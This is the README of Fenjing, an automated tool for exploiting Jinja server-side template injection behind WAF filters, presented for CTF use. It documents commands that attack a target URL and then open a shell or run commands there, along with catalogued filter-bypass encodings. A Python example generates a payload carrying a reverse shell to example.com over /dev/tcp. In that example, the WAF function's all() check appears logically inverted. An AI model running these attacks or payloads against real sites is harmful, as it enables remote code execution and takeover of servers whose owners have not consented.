Bypass the WAF without knowing WAF
Fenjing is a script for bypassing Jinja SSTI WAF in CTF competitions. It supports automatically attacking given website or API.
- Intergrade most of the CTF SSTI WAF bypass tricks.
- Automatic parameter discovery.
- Automatically generate payload by analyzing WAF.
- Crack by HTTP parameters or URI path
- Automatically detect and bypass keyword replacement.
- ......
#pip install pipx
pipx install fenjing
fenjing webui
# fenjing scan --url 'http://xxxx:xxx'
pip install fenjing
fenjing webui
# fenjing scan --url 'http://xxxx:xxx'
docker run --net host -it marven11/fenjing webui
Run python -m fenjing webui
to launch webui, specify parameter and crack.
Currently webui only supports Chinese, i18n is on its way.
Fill in your target and click Analyze
, and type your command one the right.
scan
function is for guessing and cracking parameters of a URL. It supports detecting API parameters from HTML form and from parameter discovery.
python -m fenjing scan --url 'http://xxxx:xxx/yyy'
You can also use crack
to specify parameters and crack:
python -m fenjing crack --url 'http://xxxx:xxx/yyy' --detect-mode fast --inputs aaa,bbb --method GET
Here we provide 2 parameters, aaa
and bbb
, to crack. And use --detect-mode fast
to accelerate cracking.
You can also write the HTTP request into a text file (req.txt
for example), and tell fenjing to crack with it.
For example, req.txt
is shown below:
GET /?name=PAYLOAD HTTP/1.1
Host: 127.0.0.1:5000
Connection: close
And launch fenjing with:
python -m fenjing crack-request -f req.txt --host '127.0.0.1' --port 5000
Reference to configure your shell.
Examples:
bash
cat >> ~/.bashrc << EOF
eval "$(_FENJING_COMPLETE=bash_source fenjing)"
EOF
zsh
cat >> ~/.zshrc << EOF
eval "$(_FENJING_COMPLETE=zsh_source fenjing)"
EOF
fish
echo '_FENJING_COMPLETE=fish_source fenjing | source' > ~/.config/fish/completions/fenjing.fish
Tab completion only supports fenjing ...
, not python -m fenjing
program structure:
Supported Bypass Rules
'
and"
_
[
- Most sensitive keywords
- Any Arabic numerals
+
-
*
~
{{
%
- ...
Supports bypassing 0-9 and arithmetic operations simultaneously, using methods such as:
- Hexadecimal
- a*b+c
(39,39,20)|sum
(x,x,x)|length
- Unicode characters
The above rules support nesting.
Supports bypassing quotes, g
, lipsum
, and urlencode
, etc.
Supports (lipsum|escape|batch(22)|list|first|last)
, etc.
- The number 22 in the above rule supports the numeric bypass mentioned earlier.
Supports bypassing quotes, arbitrary string concatenation symbols, underscores, and arbitrary keywords.
Supports the following forms:
'str'
"str"
"\x61\x61\x61"
dict(__class__=x)|join
- The underscore in the above rule supports bypassing.
'%c'*3%(97,97, 97)
- The
'%c'
in the above rule also supports the'%c'
bypass mentioned earlier. - All numbers in the above rule support the numeric bypass mentioned earlier.
- The
- Splitting the string into small segments and generating them separately
- ...
['aaa']
.aaa
|attr('aaa')
['aaa']
.aaa
.__getitem__('aaa')
Other Technical Details
- The script pre-generates some strings and sets them using {%set %} at the beginning.
- The script sets some variables at the beginning of the payload to provide for the expressions in the latter part.
- The script generates shorter expressions automatically.
- The script carefully checks the priority of each expression, trying to avoid generating unnecessary parentheses.
Introduction to each function:
- webui: Web UI
- As the name suggests, a web-based UI
- Default port is 11451
- scan: Scan the entire website
- Extract all forms from the website based on form elements and attack them
- Discover parameter by URL and extract other URLs in the HTML.
- After a successful scan, provide a simulated terminal or execute a given command
- Example:
python -m fenjing scan --url 'http://xxx/'
- crack: Attack a specific form
- Requires specifying the form's URL, action (GET or POST), and all fields (e.g., 'name')
- After a successful attack, provide a simulated terminal or execute a given command
- Example:
python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
- crack-path: Attack a specific path
- Attack vulnerabilities existing in a specific path (e.g.,
http://xxx.xxx/hello/<payload>
) - Parameters are similar to those of crack, but only require providing the corresponding path
- Example:
python -m fenjing crack-path --url 'http://xxx/hello/'
- Attack vulnerabilities existing in a specific path (e.g.,
- crack-request: Read a request file and attack
- Read the requests in the file, replace
PAYLOAD
with the actual payload, and submit - By default, urlencode the request according to HTTP format, can be turned off with
--urlencode-payload 0
- Read the requests in the file, replace
Some special options:
--eval-args-payload
: Place the payload in the GET parameter x and submit--detect-mode
: Detection mode, can be accurate or fast--environment
: Specify the rendering environment for the template, default is assumed to be in Flask'srender_template_string
--tamper-cmd
: Encode the payload before sending- Examples:
--tamper-cmd 'rev'
: Reverse the payload before sending--tamper-cmd 'base64'
: Encode the payload with base64 before sending--tamper-cmd 'base64 | rev'
: Encode the payload with base64 and reverse it before sending
- Examples:
- For detailed explanations, see examples.md
Usage: python -m fenjing scan [OPTIONS]
扫描指定的网站
Options:
--no-verify-ssl 不验证SSL证书
--proxy TEXT 请求时使用的代理
--extra-data TEXT 请求时的额外POST参数,如a=1&b=2
--extra-params TEXT 请求时的额外GET参数,如a=1&b=2
--cookies TEXT 请求时使用的Cookie
--header TEXT 请求时使用的Headers
--user-agent TEXT 请求时使用的User Agent
-u, --url TEXT 需要攻击的URL [required]
--interval FLOAT 每次请求的间隔
--tamper-cmd TEXT 在发送payload之前进行编码的命令,默认不进行额外操作
--waf-keyword TEXT 手动指定waf页面含有的关键字,此时不会自动检测waf页面的哈希等。可指定多个关键字
--detect-waf-keywords DETECTWAFKEYWORDS
是否枚举被waf的关键字,需要额外时间,默认为none, 可选full/fast
--environment TEMPLATEENVIRONMENT
模板的执行环境,默认为不带flask全局变量的普通jinja2
--replaced-keyword-strategy REPLACEDKEYWORDSTRATEGY
WAF替换关键字时的策略,可为avoid/ignore/doubletapping
--detect-mode DETECTMODE 分析模式,可为accurate或fast
-e, --exec-cmd TEXT 成功后执行的shell指令,不填则成功后进入交互模式
--help Show this message and exit.
Usage: python -m fenjing crack [OPTIONS]
攻击指定的表单
Options:
--no-verify-ssl 不验证SSL证书
--proxy TEXT 请求时使用的代理
--extra-data TEXT 请求时的额外POST参数,如a=1&b=2
--extra-params TEXT 请求时的额外GET参数,如a=1&b=2
--cookies TEXT 请求时使用的Cookie
--header TEXT 请求时使用的Headers
--user-agent TEXT 请求时使用的User Agent
-u, --url TEXT 需要攻击的URL [required]
--interval FLOAT 每次请求的间隔
--tamper-cmd TEXT 在发送payload之前进行编码的命令,默认不进行额外操作
--waf-keyword TEXT 手动指定waf页面含有的关键字,此时不会自动检测waf页面的哈希等。可指定多个关键字
--detect-waf-keywords DETECTWAFKEYWORDS
是否枚举被waf的关键字,需要额外时间,默认为none, 可选full/fast
--environment TEMPLATEENVIRONMENT
模板的执行环境,默认为不带flask全局变量的普通jinja2
--replaced-keyword-strategy REPLACEDKEYWORDSTRATEGY
WAF替换关键字时的策略,可为avoid/ignore/doubletapping
--detect-mode DETECTMODE 分析模式,可为accurate或fast
-e, --exec-cmd TEXT 成功后执行的shell指令,不填则成功后进入交互模式
-a, --action TEXT 参数的提交路径,如果和URL中的路径不同则需要填入
-m, --method TEXT 参数的提交方式,默认为POST
-i, --inputs TEXT 所有参数,以逗号分隔 [required]
--eval-args-payload 是否开启在GET参数中传递Eval payload的功能
--help Show this message and exit.
Usage: python -m fenjing crack-request [OPTIONS]
从文本文件中读取请求并攻击目标,文本文件中用`PAYLOAD`标记payload插入位置
Options:
--interval FLOAT 每次请求的间隔
--tamper-cmd TEXT 在发送payload之前进行编码的命令,默认不进行额外操作
--waf-keyword TEXT 手动指定waf页面含有的关键字,此时不会自动检测waf页面的哈希等。可指定多个关键字
--detect-waf-keywords DETECTWAFKEYWORDS
是否枚举被waf的关键字,需要额外时间,默认为none, 可选full/fast
--environment TEMPLATEENVIRONMENT
模板的执行环境,默认为不带flask全局变量的普通jinja2
--replaced-keyword-strategy REPLACEDKEYWORDSTRATEGY
WAF替换关键字时的策略,可为avoid/ignore/doubletapping
--detect-mode DETECTMODE 分析模式,可为accurate或fast
-e, --exec-cmd TEXT 成功后执行的shell指令,不填则成功后进入交互模式
-h, --host TEXT 目标的host,可为IP或域名 [required]
-p, --port INTEGER 目标的端口 [required]
-f, --request-file TEXT 保存在文本文件中的请求,其中payload处为PAYLOAD [required]
--toreplace BYTES 请求文件中payload的占位符
--ssl / --no-ssl 是否使用SSL
--urlencode-payload BOOLEAN 是否对payload进行urlencode
--raw 不检查请求的换行符等
--retry-times INTEGER 重试次数
--update-content-length BOOLEAN
自动更新Content-Length
--help Show this message and exit.
Usage: python -m fenjing crack-path [OPTIONS]
攻击指定的路径
Options:
--no-verify-ssl 不验证SSL证书
--proxy TEXT 请求时使用的代理
--extra-data TEXT 请求时的额外POST参数,如a=1&b=2
--extra-params TEXT 请求时的额外GET参数,如a=1&b=2
--cookies TEXT 请求时使用的Cookie
--header TEXT 请求时使用的Headers
--user-agent TEXT 请求时使用的User Agent
-u, --url TEXT 需要攻击的URL [required]
--interval FLOAT 每次请求的间隔
--tamper-cmd TEXT 在发送payload之前进行编码的命令,默认不进行额外操作
--waf-keyword TEXT 手动指定waf页面含有的关键字,此时不会自动检测waf页面的哈希等。可指定多个关键字
--detect-waf-keywords DETECTWAFKEYWORDS
是否枚举被waf的关键字,需要额外时间,默认为none, 可选full/fast
--environment TEMPLATEENVIRONMENT
模板的执行环境,默认为不带flask全局变量的普通jinja2
--replaced-keyword-strategy REPLACEDKEYWORDSTRATEGY
WAF替换关键字时的策略,可为avoid/ignore/doubletapping
--detect-mode DETECTMODE 分析模式,可为accurate或fast
-e, --exec-cmd TEXT 成功后执行的shell指令,不填则成功后进入交互模式
--help Show this message and exit.
Usage: python -m fenjing webui [OPTIONS]
启动webui
Options:
-h, --host TEXT 需要监听的host, 默认为127.0.0.1
-p, --port INTEGER 需要监听的端口, 默认为11451
--open-browser / --no-open-browser
是否自动打开浏览器
--help Show this message and exit.
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)
def waf(s: str):
blacklist = [
"config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
"[", '"', "'", "_", ".", "+", "~", "{{",
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
"0","1","2","3","4","5","6","7","8","9"
]
return all(word in s for word in blacklist)
if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
config_payload = config_payload(waf)
print(f"{shell_payload=}")
print(f"{config_payload=}")
Other examples (Chinese): examples.md